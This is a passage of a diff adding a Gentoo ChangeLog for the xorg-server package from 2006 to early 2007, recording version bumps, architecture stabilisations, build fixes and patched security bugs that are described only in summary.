+  -files/xorg-server-1.0.2-64bit-fix-indirect-vertex-array.patch,
+  -files/xorg-server-1.0.2-Sbus.patch,
+  -files/xorg-server-1.0.2-Xprt-build.patch,
+  -files/xorg-server-1.0.2-sparc64-cfbrrop-fix.patch,
+  -files/xorg-server-1.0.2-xprint-init.patch,
+  -files/CVE-2006-1526-xrender-mitri.patch, -xorg-server-1.0.2-r8.ebuild:
+  Stop supporting Xorg 7.0.
+
+  24 Jan 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  -files/1.0.99.901-Xprint-xprintdir.patch,
+  -files/xorg-server-1.1.99.901-GetDrawableAttributes.patch,
+  -files/1.1.99.903-sparc-includes.patch,
+  -files/xorg-server-1.1.0-setuid.diff, -files/1.1.99.903-mesa-6.5.2.patch,
+  -xorg-server-1.0.2-r7.ebuild, -xorg-server-1.1.0-r1.ebuild,
+  -xorg-server-1.1.1.ebuild, -xorg-server-1.1.1-r2.ebuild,
+  -xorg-server-1.1.1-r3.ebuild, -xorg-server-1.1.99.903-r1.ebuild:
+  Clean up.
+
+*xorg-server-1.2.0 (24 Jan 2007)
+
+  24 Jan 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  +xorg-server-1.2.0.ebuild:
+  Bump. Upstream incorporated some version of all of our patches, so no more
+  need for the aiglx USE flag.
+
+  22 Jan 2007; Steve Dibb <beandog@gentoo.org> xorg-server-1.0.2-r8.ebuild,
+  xorg-server-1.1.1-r4.ebuild:
+  amd64 stable, bug 157421
+
+  22 Jan 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.1.1-fixdualhead.patch, +files/1.1.99.903-sparc-includes.patch,
+  +files/1.1.1-sparc-includes.patch, xorg-server-1.1.1-r4.ebuild,
+  xorg-server-1.1.99.903-r1.ebuild:
+  (#159671) Fix sparc build with current kernel headers. (#159375) Fix dual
+  head when direct rendering is enabled. No revision bump because these affect
+  a minority of users.
+
+  15 Jan 2007; Tim Yamin <plasmaroo@gentoo.org> xorg-server-1.1.1-r4.ebuild:
+  Stable on IA64; bug #157421.
+
+  15 Jan 2007; Bryan Østergaard <kloeri@gentoo.org>
+  xorg-server-1.1.1-r4.ebuild:
+  Stable on Alpha, bug 157421.
+
+  14 Jan 2007; René Nussbaumer <killerfox@gentoo.org>
+  xorg-server-1.1.1-r4.ebuild:
+  Stable on hppa. See bug #157421.
+
+  14 Jan 2007; Markus Rothe <corsair@gentoo.org>
+  xorg-server-1.0.2-r8.ebuild, xorg-server-1.1.1-r4.ebuild:
+  Stable on ppc64; bug #157421
+
+  14 Jan 2007; Ferris McCormick <fmccor@gentoo.org>
+  xorg-server-1.1.1-r4.ebuild:
+  Stable on sparc --- Security Bug #157421 --- everything as expected.
+
+  13 Jan 2007; Andrej Kacian <ticho@gentoo.org> xorg-server-1.0.2-r8.ebuild,
+  xorg-server-1.1.1-r4.ebuild:
+  Stable on x86, bug #157421.
+
+  13 Jan 2007; Tobias Scherbaum <dertobi123@gentoo.org>
+  xorg-server-1.1.1-r4.ebuild:
+  Stable on ppc wrt bug #157421.
+
+*xorg-server-1.1.1-r4 (13 Jan 2007)
+*xorg-server-1.0.2-r8 (13 Jan 2007)
+
+  13 Jan 2007; Joshua Baergen <joshuabaergen@gentoo.org>
+  +files/1.0.2-dbe-render.diff, +files/1.1.1-dbe-render.diff,
+  +xorg-server-1.0.2-r8.ebuild, +xorg-server-1.1.1-r4.ebuild:
+  Fix multiple vulnerabilities in Render and DBE extensions.  (Bug #157421)
+
+  07 Dec 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.1.1-r3.ebuild:
+  Only apply the GLX endianness fix if AIGLX is enabled, since it fixes one of
+  the AIGLX patches.  Thanks to Elisamuel Resto and Mike Auty for figuring out
+  what the problem was.  Closes bug #157401.
+
+  07 Dec 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.2.99.0.ebuild:
+  Build against the Mesa 6.5.2 release instead of the snapshot.
+
+*xorg-server-1.1.1-r3 (07 Dec 2006)
+
+  07 Dec 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  +files/1.1.1-fix_big_endian_glx.patch, +xorg-server-1.1.1-r3.ebuild:
+  Fix GLX endianness on big endian systems.  This gets rid of the funky colours
+  on systems such as PPC when running Compiz/Beryl.  (Bug #156715, Rasmus Wiman)
+
+  05 Dec 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.99.903-r1.ebuild, xorg-server-1.2.99.0.ebuild:
+  Require kbproto 1.0.3.
+
+*xorg-server-1.1.99.903-r1 (04 Dec 2006)
+
+  04 Dec 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  +files/1.1.99.903-mesa-6.5.2.patch, -xorg-server-1.1.99.903.ebuild,
+  +xorg-server-1.1.99.903-r1.ebuild:
+  Build the 7.2 server against Mesa 6.5.2.  Includes a patch from Hanno Böck.
+
+*xorg-server-1.1.99.903 (02 Dec 2006)
+
+  02 Dec 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  +files/xorg-server-1.1.99.901-GetDrawableAttributes.patch,
+  -xorg-server-1.1.99.902.ebuild, +xorg-server-1.1.99.903.ebuild:
+  Version bump for 7.2RC3.  Includes several more bugfixes.
+
+  A patch has been added from upstream Bugzilla that fixes Compiz/AIGLX
+  operation on the server.  It's unknown if the patch has any negative
+  side-effects yet, so it's hidden behind USE="aiglx" again.
+
+  01 Dec 2006; Gustavo Zacarias <gustavoz@gentoo.org>
+  xorg-server-1.1.1-r1.ebuild:
+  Stable on hppa wrt #144549
+
+  14 Nov 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.1.99.902.ebuild:
+  xorgcfg appears to build OK again - re-enable it.
+
+*xorg-server-1.1.99.902 (13 Nov 2006)
+
+  13 Nov 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  -xorg-server-1.1.99.901.ebuild, +xorg-server-1.1.99.902.ebuild:
+  Bump for 7.2RC2.  Brings quite a few more bugfixes.
+
+*xorg-server-1.1.1-r2 (09 Nov 2006)
+
+  09 Nov 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  +files/1.1.1-fix_acpi_tokenize.patch, +xorg-server-1.1.1-r2.ebuild:
+  Fix X crashes when opening/closing laptop lids on some laptops.  (Bug #152184,
+  Wendall Cada for the report)
+
+  05 Nov 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  +files/1.2.99.0-fix-sysconfdir-references.patch:
+  Add missing patch.
+
+  04 Nov 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.2.99.0.ebuild:
+  SDL is also currently broken in 1.2.99.0 according to Daniel Stone.
+
+  04 Nov 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.2.99.0.ebuild:
+  1.2.99.0:
+  - xprint is broken (bug #154067, Cyrill Helg)
+  - fix install location of dbus configuration file
+
+  04 Nov 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.2.99.0.ebuild:
+  Add DBUS dependency.  Bump dependencies on evdev, keyboard and mouse drivers
+  to enforce input hotplug-compatible versions.
+
+  03 Nov 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.2.99.0.ebuild:
+  Add 'dbus' USE-flag and disable dmx correctly.
+
+  03 Nov 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.2.99.0.ebuild:
+  1.2.99 needs libdrm >= 2.2.  Thanks to steev again.
+
+  03 Nov 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.2.99.0.ebuild:
+  1.2.99 depends on inputproto >=1.4. Thanks to Steev for the catch.
+
+  03 Nov 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.2.99.0.ebuild:
+  Eradicate all references to the currently broken DMX. (Jakub Moc, bug #153928)
+
+*xorg-server-1.2.99.0 (03 Nov 2006)
+
+  03 Nov 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  +xorg-server-1.2.99.0.ebuild:
+  Add initial input hotplug development release.
+
+*xorg-server-1.1.99.901 (30 Oct 2006)
+
+  30 Oct 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  +xorg-server-1.1.99.901.ebuild:
+  Add 7.2RC1 server snapshot.  xorgcfg is broken (probably minorly), and compiz
+  compatibility patches are also broken.  Loads of fixes and changes since 7.1.
+
+  25 Oct 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.1-r1.ebuild:
+  Unbreaking kdrive, part 4: Move all the kdrive setup code out to a separate
+  function kdrive_setup(). Make variables local to that function.
+
+  25 Oct 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.1-r1.ebuild:
+  Unbreaking kdrive, part 3: Build fbdev and vesa for all cases in which other
+  servers require them. This replaces the existing fix for bug #136370 and
+  should also fix bug #152797.
+
+  25 Oct 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.1-r1.ebuild:
+  Unbreaking kdrive, part 2: Instead of checking whether a certain VIDEO_CARDS
+  setting is in a long list of invalid cards for non-x86 systems, check
+  whether it's the single valid setting; Check whether VIDEO_CARDS settings
+  are valid kdrive servers before moving into the more complex processing.
+
+  25 Oct 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.1-r1.ebuild:
+  Unbreaking kdrive, part 1: Fix logic and variable names when forcing
+  fbdev/vesa on for Xati; Don't skip binary drivers, it needlessly complicates
+  the code for no useful end result.
+
+  18 Oct 2006; Aron Griffis <agriffis@gentoo.org>
+  xorg-server-1.1.1-r1.ebuild:
+  Mark 1.1.1-r1 stable on alpha. #144549
+
+  17 Oct 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.1.1-r1.ebuild:
+  Don't try to install xorg.conf.example if the xorg server isn't built.  (Bug
+  #151670, Balint Dobai-Pataky)
+
+  15 Oct 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.1.1-r1.ebuild:
+  Don't try to install xorg.conf.example with USE="minimal". (Bug #151421,
+  George Kargiotakis)
+
+  14 Oct 2006; Aron Griffis <agriffis@gentoo.org>
+  xorg-server-1.1.1-r1.ebuild:
+  Mark 1.1.1-r1 stable on ia64. #144549
+
+  13 Oct 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.1.1-r1.ebuild:
+  AMD64/x86 stable for bug #144549 (X7.1).
+
+  13 Oct 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.1.1-r1.ebuild:
+  Hide AIGLX patches behind the "aiglx" USE flag, since the patches seem to
+  cause some EXA slowdowns (bug #147841, reported by Giacomo Perale).
+
+  12 Oct 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.1.1-r1.ebuild:
+  Really fix bug #150052.
+
+  12 Oct 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  +files/xorg-conf-example.patch, xorg-server-1.1.1-r1.ebuild:
+  Install xorg.conf.example like 6.x did. (Bug #138623, requested by
+  Christopher Covington; patch written by Donnie and I) Don't build kdrive
+  servers that use vm86.h on non-x86 systems. (Bug #150052, Shvetsov Alex)
+
+  06 Oct 2006; Chris Gianelloni <wolf31o2@gentoo.org>
+  xorg-server-1.1.0-r1.ebuild, xorg-server-1.1.1.ebuild,
+  xorg-server-1.1.1-r1.ebuild:
+  Remove references to nvidia-glx now that it has been removed from the tree.
+
+  20 Sep 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  files/1.1.1-sparc64-ati-lockups.patch:
+  Base ifdef on __sparc__ rather than __sparc64__. The issue happens on 64-bit
+  kernel/32-bit userland, so sparc64 isn't defined when building the userland.
+
+  20 Sep 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.1-r1.ebuild:
+  Use new glproto for eye candy to work properly.
+
+  16 Sep 2006; Hanno Boeck <hanno@gentoo.org> xorg-server-1.1.1-r1.ebuild:
+  Fix download URLs.
+
+  16 Sep 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.1-r1.ebuild:
+  Use Mesa 6.5.1 instead of a random prerelease snapshot.
+
+  15 Sep 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  -files/1.1.1-remove-altix.patch, +files/1.1.1-sparc64-ati-lockups.patch,
+  xorg-server-1.1.1.ebuild, xorg-server-1.1.1-r1.ebuild:
+  Use upstream's fix for sparc mach64 lockups. An 18-line patch instead of a
+  582-line patch is a good thing.
+
+  12 Sep 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.0-r1.ebuild, xorg-server-1.1.1.ebuild,
+  xorg-server-1.1.1-r1.ebuild:
+  Some comments got displaced to the wrong spot.
+
+  12 Sep 2006; Gustavo Zacarias <gustavoz@gentoo.org>
+  xorg-server-1.1.1.ebuild:
+  Stable on hppa
+
+  08 Sep 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.0.2-r7.ebuild, xorg-server-1.1.0-r1.ebuild,
+  xorg-server-1.1.1.ebuild, xorg-server-1.1.1-r1.ebuild:
+  (#128448) Depend on xplsprinters if USE=xprint, because it's used in profile
+  scripts.
+
+  06 Sep 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/xorg-x11-server-1.1.1-mesa-6.5.1.patch:
+  Forgot to cvs add the patch, thanks fmccor.
+
+*xorg-server-1.1.1-r1 (05 Sep 2006)
+
+  05 Sep 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/01-no-move-damage.patch, +files/02-dont-backfill-bg-none.patch,
+  +files/03-tfp-damage.patch, +files/04-mesa-copy-sub-buffer.patch,
+  +files/05-offscreen-pixmaps.patch, +files/06-aiglx-happy-vt-switch.patch,
+  +files/xorg-server-1.1.1-install-libxf86config-headers.patch,
+  +files/1.1.1-fix-xrandr-zoom-keys.patch, +xorg-server-1.1.1-r1.ebuild:
+  Bump. (#145797) Add patches for AIGLX+compiz. (#146197) Fix resolution
+  switching with ctrl-alt-+/-. Install libxf86config + headers for
+  pyxf86config, and extramodes and vesamodes for system-config-display. Do
+  correct bash substitution for nvidia kdrive server. This uses a mesa
+  snapshot in anticipation of the 6.5.1 release. Some changes will need to
+  happen to get it back to using a standard Mesa release tarball.
+
+  03 Sep 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.1.0-r1.ebuild, xorg-server-1.1.1.ebuild:
+  kdrive's VESA driver does not build on AMD64.  (Bruno Roggeri, bug #145274)
+
+  27 Aug 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.0-r1.ebuild, xorg-server-1.1.1.ebuild:
+  Remove trailing whitespace.
+
+  27 Aug 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.0-r1.ebuild, xorg-server-1.1.1.ebuild:
+  Allow 7.1-compatible nvidia-drivers and nvidia-legacy-drivers.
+
+  26 Aug 2006; Hanno Boeck <hanno@gentoo.org> xorg-server-1.1.0-r1.ebuild,
+  xorg-server-1.1.1.ebuild:
+  linuxwacom moved from x11-misc to x11-drivers.
+
+  22 Aug 2006; Ferris McCormick <fmccor@gentoo.org>
+  xorg-server-1.1.1.ebuild:
+  Stable on sparc, Bug #144549 --- Thanks to dberkholz for incorporating
+  remove-altix patch.
+
+  22 Aug 2006; Stephen P. Becker <geoman@gentoo.org>
+  xorg-server-1.1.1.ebuild:
+  stable on mips, bug 144549
+
+  21 Aug 2006; Markus Rothe <corsair@gentoo.org> xorg-server-1.1.1.ebuild:
+  Stable on ppc64; bug #144549
+
+  21 Aug 2006; Joseph Jezak <josejx@gentoo.org> xorg-server-1.1.1.ebuild:
+  Marked ppc stable for bug #144549.
+
+  20 Aug 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.1.1-remove-altix.patch, xorg-server-1.1.1.ebuild:
+  (fd.o #3914) Altix support breaks some sparc64 systems with Mach64 video, so
+  conditionally patch it out. This patch will be maintained and forward-ported
+  by the sparc team. This is the last stable blocker for modular X on sparc.
+
+  18 Aug 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.1.ebuild:
+  Move architecture-specific video driver defaults into profiles.
+
+  12 Aug 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.0-r1.ebuild, xorg-server-1.1.1.ebuild:
+  libdmx and dmxproto should be in USE=dmx dep, not USE=minimal.
+
+  02 Aug 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.0-r1.ebuild, xorg-server-1.1.1.ebuild:
+  Add VIDEO_CARDS=fglrx back in, now that there's a compatible driver.
+
+  19 Jul 2006; Guy Martin <gmsoft@gentoo.org> xorg-server-1.0.2-r7.ebuild:
+  Stable on hppa.
+
+  16 Jul 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.1.0-r1.ebuild:
+  Add the warning to this version too.
+
+  16 Jul 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.1.1.ebuild:
+  Add some warnings about the change in reduced blanking behaviour.  (Bug
+  #135544, Steffen Strobel)
+
+  11 Jul 2006; Aron Griffis <agriffis@gentoo.org>
+  xorg-server-1.1.0-r1.ebuild:
+  Mark 1.1.0-r1 stable on ia64
+
+  09 Jul 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.1.ebuild:
+  Also don't build xorgcfg on USE=minimal.
+
+  09 Jul 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  -xorg-server-1.0.2-r6.ebuild:
+  Pull old version.
+
+*xorg-server-1.1.1 (09 Jul 2006)
+
+  09 Jul 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  +xorg-server-1.1.1.ebuild:
+  Bump. Bunches of rendering and crasher fixes, incorporates security fix and
+  the 2 xprint patches, and more.
+
+  07 Jul 2006; Donnie Berkholz <dberkholz@gentoo.org>; ChangeLog:
+  Update to my new email address.
+
+  06 Jul 2006; Chris Gianelloni <wolf31o2@gentoo.org>
+  xorg-server-1.1.0-r1.ebuild:
+  Added blocker on x11-drivers/nvidia-drivers and
+  x11-drivers/nvidia-legacy-drivers since they don't work on 1.1 yet.
+
+  01 Jul 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  files/x11r7.0-setuid.diff, files/xorg-server-1.1.0-setuid.diff:
+  Fix the setuid patches.  (Thanks to Rudo Thomas for the catch in bug #138688)
+
+  01 Jul 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.0-r1.ebuild:
+  ppc/sparc/mips/alpha/arm/sh stable
+
+  30 Jun 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.0-r1.ebuild:
+  sparc shouldn't pull in vesa and vga.
+
+  30 Jun 2006; Markus Rothe <corsair@gentoo.org>
+  xorg-server-1.1.0-r1.ebuild:
+  Stable on ppc64
+
+  30 Jun 2006; Chris Gianelloni <wolf31o2@gentoo.org>
+  xorg-server-1.0.2-r7.ebuild:
+  Stable on amd64.
+
+  30 Jun 2006; Markus Rothe <corsair@gentoo.org>
+  xorg-server-1.0.2-r7.ebuild:
+  Stable on ppc64
+
+  30 Jun 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.0.2-r7.ebuild:
+  x86 stable.
+
+*xorg-server-1.0.2-r7 (30 Jun 2006)
+
+  30 Jun 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.0.2-fix-rom-read-dualhead.patch, +xorg-server-1.0.2-r7.ebuild:
+  Fix dual-head.
+
+  30 Jun 2006; Stephen P. Becker <geoman@gentoo.org>
+  xorg-server-1.1.0-r1.ebuild:
+  added video_cards_impact to IUSE_VIDEO_CARDS, enable it for mips users
+
+  27 Jun 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.1.0-r1.ebuild:
+  Only pull in loadable drivers if the xorg USE-flag is set. (bug #135873)
+
+  28 Jun 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.0-r1.ebuild:
+  Fix typo video_cards_3dfx > video_cards_tdfx (Jakub Moc).
+
+  26 Jun 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.1.0-r1.ebuild:
+  Fix kdrive+ATI build.  (Priit Laes, bug #136370)
+
+  26 Jun 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.1.0-r1.ebuild:
+  Allow USE="-* minimal" for xorg-server so that Xvfb can be built by itself.
+  (Patch by Ed Catmur, bug #137991)
+
+  21 Jun 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.0-r1.ebuild:
+  Fix up VIDEO_CARDS for mips, they don't want ati, mga, sisusb.
+
+*xorg-server-1.1.0-r1 (20 Jun 2006)
+*xorg-server-1.0.2-r6 (20 Jun 2006)
+
+  20 Jun 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/xorg-server-1.1.0-setuid.diff, +files/x11r7.0-setuid.diff,
+  -xorg-server-1.0.2-r4.ebuild, -xorg-server-1.0.2-r5.ebuild,
+  +xorg-server-1.0.2-r6.ebuild, -xorg-server-1.1.0.ebuild,
+  +xorg-server-1.1.0-r1.ebuild:
+  Security bump. Failure to check the return value of setuid() in a privileged
+  process could be used by a local user for file overwriting and possible
+  privilege escalation in corner cases. See
+  http://lists.freedesktop.org/archives/xorg/2006-June/016146.html for more
+  information.
+
+  17 Jun 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.1.0.ebuild:
+  Drop nvidia and fglrx flags for now and block all nvidia-glx and ati-drivers
+  versions since neither of the binary drivers are supported currently.
+  (Jakub Moc, bug #136788)
+
+*xorg-server-1.0.2-r5 (11 Jun 2006)
+
+  11 Jun 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  +files/1.0.2-fix-readKernelMapping-overrun.patch,
+  +xorg-server-1.0.2-r5.ebuild:
+  Fix an overrun that was causing various issues on VT switch.  This is already
+  fixed in 1.1.  (Matthias Dahl, bug #127608)
+
+  04 Jun 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.1.0.ebuild:
+  Ensure eautoreconf gets run when building xprint and kdrive.  (Walter Meinl,
+  bug #135263)
+
+  04 Jun 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.1.0.ebuild:
+  Have the ebuild fail if no server will be built, instead of appearing to
+  complete successfully but not installing enough binaries for a usable X.
+  (Bug #132140)
+
+*xorg-server-1.1.0 (23 May 2006)
+
+  23 May 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  -xorg-server-1.0.99.903.ebuild, +xorg-server-1.1.0.ebuild:
+  Bump for 7.1 final.  Includes various crash fixes, etc.
+
+  14 May 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.0.2-r4.ebuild:
+  Force on xorg-x11 opengl implem for compile, to ensure we have recent enough
+  glxtokens.h. Reported by johey on freenode.
+
+  14 May 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.0.99.903.ebuild:
+  (#133295) Fix kdrive build when s3 is on, because it also sedded out the s3
+  from the middle of sis300. Also a fix for turning off sis300 at all. Fixes
+  by Kent Fredric.
+
+  14 May 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.0.2-r4.ebuild, xorg-server-1.0.99.903.ebuild:
+  Add RESTRICT=stricter, because FEATURES=stricter dies on installing anything
+  suid with lazy bindings. The X server needs lazy bindings because of how its
+  module loading works. Hopefully at some point, upstream will change this.
+  Suggested by Kevin F. Quinn.
+
+  13 May 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.0.99.903.ebuild:
+  Move driver dependencies from the meta-ebuild to xorg-server as a
+  PDEPEND. (Michal Suchanek, bug #132696)
+
+*xorg-server-1.0.99.903 (13 May 2006)
+
+  13 May 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  -xorg-server-1.0.99.902-r1.ebuild, +xorg-server-1.0.99.903.ebuild:
+  Bump to 7.1RC3.
+
+  13 May 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.0.2-r4.ebuild, xorg-server-1.0.99.902-r1.ebuild:
+  Force update to libxkbui-1.0.2 per dberkholz' suggestion, hopefully fixing
+  _XkbStrCaseCmp-related issues.
+
+*xorg-server-1.0.99.902-r1 (02 May 2006)
+*xorg-server-1.0.2-r4 (02 May 2006)
+
+  02 May 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  +files/CVE-2006-1526-xrender-mitri.patch, -xorg-server-1.0.2-r3.ebuild,
+  +xorg-server-1.0.2-r4.ebuild, -xorg-server-1.0.99.902.ebuild,
+  +xorg-server-1.0.99.902-r1.ebuild:
+  Security bump and remove all affected versions. Please see Bug #130979 for
+  details.
+
+  30 Apr 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  -files/1.0.99.901-fix-kdrive-build.patch,
+  -files/1.0.99.901-wrap-sdk-headers.patch,
+  -xorg-server-1.0.99.901-r1.ebuild:
+  Pull old 7.1RC ebuild.
+
+  30 Apr 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.0.99.902.ebuild:
+  (#131817) Move the nptl diemsg out of an if, since we also use it in the else.
+
+*xorg-server-1.0.99.902 (29 Apr 2006)
+
+  29 Apr 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  +xorg-server-1.0.99.902.ebuild:
+  Version bump.  Includes quite a few bugfixes.
+
+  24 Apr 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.0.99.901-r1.ebuild:
+  We don't need to apply the xf86Sbus.h creation patch anymore. It was
+  applying successfully by appending itself to the already-complete file in
+  the tarball.
+
+  23 Apr 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.0.99.901-r1.ebuild:
+  Fix the USE=-xorg build, can't do use_with() on mesa-source because it won't
+  accept the --without option.
+
+  23 Apr 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  files/digest-xorg-server-1.0.99.901-r1:
+  Fix digest.
+
+  23 Apr 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/xorg-server-1.0.2-Xprt-build.patch,
+  +files/1.0.2-Xprint-xprintdir.patch,
+  +files/xorg-server-1.0.2-xprint-init.patch,
+  +files/1.0.99.901-Xprint-xprintdir.patch, xorg-server-1.0.2-r3.ebuild,
+  xorg-server-1.0.99.901-r1.ebuild:
+  (#128448) Fix xprint (Ed Catmur). Still needs a dep added on xplsprinters
+  when xprint is in USE, but arches haven't keyworded it yet.
+
+*xorg-server-1.0.99.901-r1 (21 Apr 2006)
+
+  21 Apr 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.0.99.901-fix-kdrive-build.patch,
+  +files/1.0.99.901-wrap-sdk-headers.patch, -xorg-server-1.0.99.901.ebuild,
+  +xorg-server-1.0.99.901-r1.ebuild:
+  Add option to build kdrive, tiny X servers; also add VIDEO_CARDS settings to
+  select kdrive servers to build. Add option to build AIGLX with TLS support
+  (USE=nptl) -- mesa and xorg-server must be in sync on this. Update some
+  deps: glproto, scrnsaverproto. Don't need to inherit flag-o-matic, x-modular
+  eclass does this for us. Make Xdmx build its own USE flag, instead of part
+  of minimal. Force xorg-x11 OpenGL to build, because it needs a newer
+  glxtokens.h than some binary drivers provide. Add a server_based_install()
+  function for any actions dependent on which servers get built. Add USE=xorg
+  to build the Xorg X server, which will be on by default.
+
+  17 Apr 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.0.2-r3.ebuild:
+  Drop the mesa version check since it shouldn't be required.
+
+  17 Apr 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.0.99.901.ebuild:
+  AIGLX defaults on, don't need to enable it.
+
+*xorg-server-1.0.99.901 (14 Apr 2006)
+
+  14 Apr 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.0.2-r3.ebuild, -xorg-server-1.0.99.2.ebuild,
+  +xorg-server-1.0.99.901.ebuild:
+  Bump xorg-server for 7.1RC1.  Change Mesa dependencies on all servers to
+  account for the changed paths in Mesa 6.5-r2.
+
+*xorg-server-1.0.99.2 (12 Apr 2006)
+
+  12 Apr 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  +xorg-server-1.0.99.2.ebuild:
+  Add a xorg-server snapshot from upstream.  This snapshot compiles against Mesa
+  6.5 and has AIGLX enabled.
+
+  31 Mar 2006; Diego Pettenò <flameeyes@gentoo.org>
+  xorg-server-1.0.2-r3.ebuild:
+  Add ~x86-fbsd keyword.
+
+  31 Mar 2006; Donnie Berkholz <dberkholz@gentoo.org>; ChangeLog:
+  Only need that ChangeLog message once.
+
+*xorg-server-1.0.2-r3 (31 Mar 2006)
+
+  31 Mar 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/xorg-server-1.0.2-64bit-fix-for-glx.patch,
+  -xorg-server-1.0.2-r2.ebuild, +xorg-server-1.0.2-r3.ebuild:
+  Really fix 64-bit direct rendering. glcontextmodes.[ch] doesn't include
+  glheader.h, so it also needs to include dix-config.h.
+
+*xorg-server-1.0.2-r2 (28 Mar 2006)
+
+  28 Mar 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/xorg-server-1.0.2-64bit-fix-have-dix-config.patch,
+  +files/xorg-server-1.0.2-64bit-fix-indirect-vertex-array.patch,
+  -xorg-server-1.0.2-r1.ebuild, +xorg-server-1.0.2-r2.ebuild:
+  Re-add 64-bit direct rendering patches that got lost in the 1.0.2 bump.
+
+  24 Mar 2006; Donnie Berkholz <dberkholz@gentoo.org>; +files/xprint.init,
